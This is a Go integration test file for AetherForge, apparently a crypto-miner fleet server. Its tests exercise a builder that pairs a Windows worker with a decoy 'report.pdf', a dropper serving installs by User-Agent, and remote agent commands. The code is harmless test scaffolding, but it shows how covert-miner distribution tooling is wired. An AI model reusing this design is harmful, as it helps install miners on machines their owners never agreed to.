Files
AetherForge/server/internal/api/integration_test.go
AetherForge 0002e5fd93
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Calibrate AI Control UI and fleet LLM backend wiring.
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
2026-06-07 02:14:28 -07:00

1071 lines
34 KiB
Go

package api
import (
"bytes"
"encoding/json"
"errors"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"time"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"github.com/gorilla/websocket"
)
type mockConfigProvider struct {
raw json.RawMessage
}
func (m *mockConfigProvider) GetConfigJSON() json.RawMessage {
if len(m.raw) == 0 {
return json.RawMessage(`{"port":8989}`)
}
return m.raw
}
func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
m.raw = data
return nil
}
func (m *mockConfigProvider) GetFleetAIConfig() FleetAIConfigView {
return FleetAIConfigView{
AIEndpoint: "http://127.0.0.1:11434/v1",
AINoContext: true,
AIDecisionIntervalSec: 60,
}
}
func (m *mockConfigProvider) UpdateFleetAIConfig(v FleetAIConfigView) error {
return nil
}
const testAuthUser = "testuser"
const testAuthPass = "testpass"
const testFleetSecret = "test-fleet-secret-integration"
func seedTestUsers(t *testing.T, dataDir string) {
t.Helper()
usersPath := filepath.Join(dataDir, "users.json")
data, err := json.Marshal(map[string]string{testAuthUser: testAuthPass})
if err != nil {
t.Fatalf("marshal users: %v", err)
}
if err := os.WriteFile(usersPath, data, 0600); err != nil {
t.Fatalf("write users.json: %v", err)
}
}
func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
t.Helper()
dataDir := t.TempDir()
seedTestUsers(t, dataDir)
database, err := db.New(dataDir)
if err != nil {
t.Fatalf("db: %v", err)
}
t.Cleanup(func() { database.Close() })
wsHub := NewWSHub(database)
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
webRoot := filepath.Join(dataDir, "webroot")
_ = os.MkdirAll(webRoot, 0755)
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
t.Helper()
var req *http.Request
if body != nil {
req = httptest.NewRequest(method, path, bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
} else {
req = httptest.NewRequest(method, path, nil)
}
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
func serveAuthedMultipart(t *testing.T, router http.Handler, path string, body *bytes.Buffer, contentType string) *httptest.ResponseRecorder {
t.Helper()
req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(body.Bytes()))
req.Header.Set("Content-Type", contentType)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
func integrationWorkspaceRoot(t *testing.T) string {
t.Helper()
dir, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
for i := 0; i < 10; i++ {
if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil {
if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil {
return dir
}
}
parent := filepath.Dir(dir)
if parent == dir {
break
}
dir = parent
}
t.Skip("workspace root (agent/ and fusion/) not found")
return ""
}
func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub, *db.Database, string) {
t.Helper()
dataDir := t.TempDir()
seedTestUsers(t, dataDir)
database, err := db.New(dataDir)
if err != nil {
t.Fatalf("db: %v", err)
}
t.Cleanup(func() { database.Close() })
wsHub := NewWSHub(database)
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, filepath.Join(projectRoot, "agent"), projectRoot)
installFakeGoSuccess(t, builderHandler)
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
webRoot := filepath.Join(dataDir, "webroot")
_ = os.MkdirAll(webRoot, 0755)
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
t.Helper()
body := &bytes.Buffer{}
mw := multipart.NewWriter(body)
cfg, err := json.Marshal(builder.BuildRequest{
WorkerName: "integration-fusion",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
TargetOS: "windows",
FusionEnabled: true,
FusionMediaMode: "paired",
FusionPayloadKind: "file",
FusionMediaBaseName: "report.pdf",
})
if err != nil {
t.Fatal(err)
}
if err := mw.WriteField("config", string(cfg)); err != nil {
t.Fatal(err)
}
part, err := mw.CreateFormFile("prep_exe", "report.pdf")
if err != nil {
t.Fatal(err)
}
if _, err := part.Write([]byte("%PDF-1.4 integration")); err != nil {
t.Fatal(err)
}
contentType := mw.FormDataContentType()
if err := mw.Close(); err != nil {
t.Fatal(err)
}
return body, contentType
}
func installFakeGoSuccess(t *testing.T, h *builder.Handler) {
t.Helper()
dir := t.TempDir()
if runtime.GOOS == "windows" {
p := filepath.Join(dir, "go-ok.bat")
script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
" set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" +
"shift\r\ngoto loop\r\n:done\r\n" +
"if defined OUT (\r\n" +
" for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
" echo fake>\"!OUT!\"\r\n" +
")\r\nexit /b 0\r\n"
if err := os.WriteFile(p, []byte(script), 0644); err != nil {
t.Fatal(err)
}
h.SetGoBinPath(p)
return
}
p := filepath.Join(dir, "go-ok.sh")
script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
" if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" +
"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
if err := os.WriteFile(p, []byte(script), 0755); err != nil {
t.Fatal(err)
}
h.SetGoBinPath(p)
}
// serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes).
func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder {
t.Helper()
var req *http.Request
if body != nil {
req = httptest.NewRequest(method, path, bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
} else {
req = httptest.NewRequest(method, path, nil)
}
req.Header.Set("X-Fleet-Secret", secret)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
func insertTestBuild(t *testing.T, database *db.Database, dataDir, buildID, platform, fileName string) {
t.Helper()
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
binPath := filepath.Join(buildDir, fileName)
if err := os.WriteFile(binPath, []byte("fake-binary-"+platform), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: "worker", ServerURL: "http://localhost:8989", Wallet: "48x",
FilePath: binPath, FileName: fileName, Platform: platform, CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
}
func startRouterServer(t *testing.T, router http.Handler) *httptest.Server {
t.Helper()
srv := httptest.NewServer(router)
t.Cleanup(srv.Close)
return srv
}
func connectAgentViaRouter(t *testing.T, router http.Handler, agentID string) (*websocket.Conn, *httptest.Server) {
t.Helper()
srv := startRouterServer(t, router)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/agent"
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial agent ws: %v", err)
}
t.Cleanup(func() { _ = conn.Close() })
authPayload, _ := json.Marshal(map[string]interface{}{
"agent_id": agentID,
"hostname": "integration-host",
"version": "1.0",
})
if err := conn.WriteJSON(Message{Type: "auth", Payload: authPayload}); err != nil {
t.Fatalf("send auth: %v", err)
}
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatalf("read auth_response: %v", err)
}
if resp.Type != "auth_response" {
t.Fatalf("expected auth_response, got %q", resp.Type)
}
return conn, srv
}
func TestHealthIsPublic(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("health status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]string
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["status"] != "ok" {
t.Fatalf("unexpected health: %v", body)
}
}
func TestConfigRequiresAuth(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
}
func TestConfigWithValidAuth(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestAgentsListRequiresAuth(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
}
func TestAgentsListAuthedEmpty(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d", rec.Code)
}
var agents []json.RawMessage
if err := json.Unmarshal(rec.Body.Bytes(), &agents); err != nil {
t.Fatal(err)
}
if len(agents) != 0 {
t.Fatalf("expected empty fleet, got %d", len(agents))
}
}
func TestArtifactDownloadRejectsTraversal(t *testing.T) {
router, _, _, dataDir := newTestRouter(t)
buildID := "test-build-id"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/..%2F..%2Fsecret.txt", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound {
t.Fatalf("expected rejection, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestSPAServesIndex(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/dashboard", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d", rec.Code)
}
if !contains(rec.Body.String(), "AetherForge") {
t.Fatalf("expected SPA fallback html")
}
}
func contains(s, sub string) bool {
return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexOf(s, sub) >= 0)
}
func indexOf(s, sub string) int {
for i := 0; i+len(sub) <= len(s); i++ {
if s[i:i+len(sub)] == sub {
return i
}
}
return -1
}
func TestStatsLimitCapped(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
// Agent may not exist — 404 is fine; we only care handler doesn't 500 on huge limit
if rec.Code == http.StatusInternalServerError {
t.Fatalf("limit cap caused server error: %s", rec.Body.String())
}
}
func TestIntegrationServerInfo(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/server/info", nil)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if _, ok := body["port"]; !ok {
t.Fatalf("expected port in server info: %v", body)
}
}
func TestIntegrationDashboardStats(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/dashboard/stats", nil)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationGetAgentNotFound(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/agents/missing-agent", nil)
if rec.Code != http.StatusNotFound {
t.Fatalf("expected 404, got %d", rec.Code)
}
}
func TestIntegrationAgentLog(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
agentID := "log-agent"
connectTestAgent(t, wsHub, agentID)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/agents/"+agentID+"/log", nil)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["agent_id"] != agentID {
t.Fatalf("unexpected agent_id: %v", body["agent_id"])
}
}
func TestIntegrationAgentCommandOffline(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/offline-agent/command",
[]byte(`{"action":"pause"}`))
// Command for a non-connected agent returns 200 with success:false (not a 4xx),
// so the caller can inspect the error without tripping HTTP error handling.
if rec.Code != http.StatusOK {
t.Fatalf("expected 200 for offline agent, got %d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["success"] != false {
t.Fatalf("expected success=false, got %v", body)
}
}
func TestIntegrationAgentMeta(t *testing.T) {
router, _, database, _ := newTestRouter(t)
agent := &models.Agent{ID: "meta-rig", Name: "rig", Status: "offline", LastSeen: time.Now()}
if err := database.UpsertAgent(agent); err != nil {
t.Fatal(err)
}
rec := serveAuthed(t, router, http.MethodPut, "/api/v1/agents/meta-rig/meta",
[]byte(`{"notes":"integration test","tags":["lab"]}`))
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationBulkCommandPartialFailure(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
onlineID := "bulk-online"
connectTestAgent(t, wsHub, onlineID)
payload := `{"agent_ids":["` + onlineID + `","offline-one"],"action":"pause","command":"tasklist"}`
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/bulk-command", []byte(payload))
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["success"] != true {
t.Fatalf("expected partial success true, got %v", body)
}
if body["sent"].(float64) != 1 || body["failed"].(float64) != 1 {
t.Fatalf("sent/failed counts: %v", body)
}
}
func TestIntegrationFleetReadEndpoints(t *testing.T) {
router, _, _, _ := newTestRouter(t)
paths := []string{
"/api/v1/alerts",
"/api/v1/pools/status",
"/api/v1/ai/activity",
"/api/v1/earnings/estimate",
"/api/v1/shares",
"/api/v1/builds",
}
for _, path := range paths {
rec := serveAuthed(t, router, http.MethodGet, path, nil)
if rec.Code != http.StatusOK {
t.Fatalf("%s status=%d body=%s", path, rec.Code, rec.Body.String())
}
}
}
func TestIntegrationMarketXMR(t *testing.T) {
setMockHTTPTransport(t, roundTripFunc(func(req *http.Request) (*http.Response, error) {
if !strings.Contains(req.URL.String(), "coingecko") {
return nil, errors.New("unexpected url")
}
body := `{"monero":{"usd":165.5}}`
return &http.Response{
StatusCode: http.StatusOK,
Body: io.NopCloser(strings.NewReader(body)),
Header: http.Header{"Content-Type": []string{"application/json"}},
}, nil
}))
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/market/xmr", nil)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["usd"].(float64) != 165.5 {
t.Fatalf("unexpected price: %v", body["usd"])
}
}
func TestIntegrationBuildsLifecycle(t *testing.T) {
router, _, database, dataDir := newTestRouter(t)
buildID := "lifecycle-build"
insertTestBuild(t, database, dataDir, buildID, "windows", "worker.exe")
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/builds", nil)
if rec.Code != http.StatusOK {
t.Fatalf("list status=%d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodPut, "/api/v1/builds/"+buildID+"/pin", nil)
if rec.Code != http.StatusOK {
t.Fatalf("pin status=%d body=%s", rec.Code, rec.Body.String())
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builds/pin", nil)
if rec.Code != http.StatusOK {
t.Fatalf("unpin status=%d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builds/"+buildID, nil)
if rec.Code != http.StatusOK {
t.Fatalf("delete status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationPutConfig(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodPut, "/api/v1/config", []byte(`{"port":9090}`))
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
if !strings.Contains(rec.Body.String(), "9090") {
t.Fatalf("expected updated config: %s", rec.Body.String())
}
}
func TestFusionMultipartEndToEndViaRouter(t *testing.T) {
projectRoot := integrationWorkspaceRoot(t)
router, _, database, _ := newFusionTestRouter(t, projectRoot)
body, contentType := fusionMultipartBody(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/build", bytes.NewReader(body.Bytes()))
req.Header.Set("Content-Type", contentType)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("unauthed multipart forge expected 401, got %d body=%s", rec.Code, rec.Body.String())
}
body, contentType = fusionMultipartBody(t)
rec = serveAuthedMultipart(t, router, "/api/v1/builder/build", body, contentType)
if rec.Code != http.StatusOK {
t.Fatalf("authed fusion multipart status=%d body=%s", rec.Code, rec.Body.String())
}
var resp builder.BuildResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatalf("decode build response: %v body=%s", err, rec.Body.String())
}
if !resp.Success {
t.Fatalf("expected success=true, got %+v", resp)
}
if resp.BuildID == "" {
t.Fatal("expected build_id in response")
}
record, err := database.GetBuild(resp.BuildID)
if err != nil {
t.Fatalf("build not in database: %v", err)
}
if record.WorkerName != "integration-fusion" {
t.Fatalf("worker_name: got %q want integration-fusion", record.WorkerName)
}
if record.Platform != "windows" {
t.Fatalf("platform: got %q want windows", record.Platform)
}
builds, err := database.ListBuilds(10)
if err != nil {
t.Fatal(err)
}
if len(builds) != 1 {
t.Fatalf("expected 1 build in DB, got %d", len(builds))
}
}
func TestIntegrationBuilderRoutes(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/builder/build", []byte(`{}`))
if rec.Code == http.StatusNotFound {
t.Fatal("builder/build route not registered")
}
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/estimate", []byte("not-multipart"))
if rec.Code == http.StatusNotFound {
t.Fatal("builder/estimate route not registered")
}
if rec.Code != http.StatusBadRequest {
t.Fatalf("estimate without multipart expected 400, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builder/cancel/no-such-token", nil)
if rec.Code != http.StatusNotFound {
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`))
if rec.Code == http.StatusNotFound {
t.Fatal("builder/path-forge route not registered")
}
if rec.Code != http.StatusBadRequest {
t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code)
}
}
func TestIntegrationBlueprintsCRUD(t *testing.T) {
router, _, _, dataDir := newTestRouter(t)
saveBody, _ := json.Marshal(map[string]interface{}{
"name": "integration-preset",
"data": map[string]interface{}{"threads": 2},
})
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/blueprints", saveBody)
if rec.Code != http.StatusOK {
t.Fatalf("save status=%d body=%s", rec.Code, rec.Body.String())
}
filePath := filepath.Join(dataDir, "blueprints", "integration-preset.json")
if _, err := os.Stat(filePath); err != nil {
t.Fatalf("blueprint file missing: %v", err)
}
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints", nil)
if rec.Code != http.StatusOK {
t.Fatalf("list status=%d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints/integration-preset", nil)
if rec.Code != http.StatusOK {
t.Fatalf("get status=%d body=%s", rec.Code, rec.Body.String())
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/blueprints?name=integration-preset", nil)
if rec.Code != http.StatusOK {
t.Fatalf("delete status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationBlueprintErrors(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/blueprints", []byte(`{"name":"","data":{}}`))
if rec.Code != http.StatusBadRequest {
t.Fatalf("empty name expected 400, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints/missing-preset", nil)
if rec.Code != http.StatusNotFound {
t.Fatalf("missing blueprint expected 404, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/blueprints", nil)
if rec.Code != http.StatusBadRequest {
t.Fatalf("delete without name expected 400, got %d", rec.Code)
}
}
func TestIntegrationAIRoutes(t *testing.T) {
router, _, _, _ := newTestRouter(t)
// Agent routes require fleet secret (not Basic Auth).
SetAgentPathSecret(testFleetSecret)
t.Cleanup(func() { SetAgentPathSecret("") })
// decide: missing agent_id → 400.
rec := serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/decide", testFleetSecret, []byte(`{"worker_name":"x"}`))
if rec.Code != http.StatusBadRequest {
t.Fatalf("decide missing agent_id expected 400, got %d body=%s", rec.Code, rec.Body.String())
}
// report and heartbeat require fleet secret; they don't need a pre-registered engine.
body, _ := json.Marshal(map[string]string{"agent_id": "report-agent", "tool": "sleep", "output": "ok"})
rec = serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/report", testFleetSecret, body)
if rec.Code != http.StatusOK {
t.Fatalf("report status=%d body=%s", rec.Code, rec.Body.String())
}
hb, _ := json.Marshal(map[string]string{"agent_id": "hb-agent", "status": "alive"})
rec = serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/heartbeat", testFleetSecret, hb)
if rec.Code != http.StatusOK {
t.Fatalf("heartbeat status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationAgentRoutesFleetSecret(t *testing.T) {
router, _, _, _ := newTestRouter(t)
SetAgentPathSecret("integration-fleet-secret")
t.Cleanup(func() { SetAgentPathSecret("") })
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat",
bytes.NewReader([]byte(`{"agent_id":"a","status":"alive"}`)))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusForbidden {
t.Fatalf("missing fleet secret expected 403, got %d", rec.Code)
}
req.Header.Set("X-Fleet-Secret", "integration-fleet-secret")
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("valid fleet secret expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationDropperVariants(t *testing.T) {
router, _, database, dataDir := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/get", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("no builds expected 404, got %d", rec.Code)
}
insertTestBuild(t, database, dataDir, "win-drop", "windows", "worker.exe")
req = httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("windows build expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
req = httptest.NewRequest(http.MethodGet, "/get?os=linux", nil)
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("linux with only windows build falls back to latest, expected 200, got %d", rec.Code)
}
req = httptest.NewRequest(http.MethodGet, "/get", nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0)")
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("UA-detected windows expected 200, got %d", rec.Code)
}
for _, path := range []string{"/install.sh", "/install.ps1"} {
req = httptest.NewRequest(http.MethodGet, path, nil)
req.Host = "forge.local:8989"
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("%s status=%d", path, rec.Code)
}
}
}
func TestIntegrationBuildUninstallNotFound(t *testing.T) {
router, _, database, dataDir := newTestRouter(t)
buildID := "uninstall-build"
insertTestBuild(t, database, dataDir, buildID, "windows", "worker.exe")
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/builds/"+buildID+"/uninstall", nil)
if rec.Code != http.StatusNotFound {
t.Fatalf("missing uninstall script expected 404, got %d", rec.Code)
}
}
func TestIntegrationRouterWebSocketDashboard(t *testing.T) {
router, _, _, _ := newTestRouter(t)
srv := startRouterServer(t, router)
badURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard"
_, resp, err := websocket.DefaultDialer.Dial(badURL, nil)
if err == nil {
t.Fatal("expected dial failure without token")
}
if resp == nil || resp.StatusCode != http.StatusUnauthorized {
t.Fatalf("expected 401 without token, got err=%v status=%v", err, resp)
}
goodURL := badURL + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
conn, resp, err := websocket.DefaultDialer.Dial(goodURL, nil)
if err != nil {
t.Fatalf("dial with token: %v status=%v", err, resp)
}
t.Cleanup(func() { _ = conn.Close() })
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
t.Fatalf("read init: %v", err)
}
if msg.Type != "init" {
t.Fatalf("expected init, got %q", msg.Type)
}
}
func TestIntegrationRouterWebSocketAgentBadSecret(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
wsHub.SetFleetSecret("ws-fleet-secret")
t.Cleanup(func() { wsHub.SetFleetSecret("") })
srv := startRouterServer(t, router)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/agent"
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial agent ws: %v", err)
}
t.Cleanup(func() { _ = conn.Close() })
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "bad-secret-agent", "fleet_secret": "wrong", "hostname": "host",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if body["success"] != false {
t.Fatalf("expected auth failure with bad fleet secret, got %+v", body)
}
if wsHub.isAgentConnected("bad-secret-agent") {
t.Fatal("agent should not register with bad fleet secret")
}
}
func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
agentID := "router-cmd-agent"
connectAgentViaRouter(t, router, agentID)
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
if wsHub.isAgentConnected(agentID) {
break
}
time.Sleep(10 * time.Millisecond)
}
if !wsHub.isAgentConnected(agentID) {
t.Fatal("agent not connected via router ws")
}
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command",
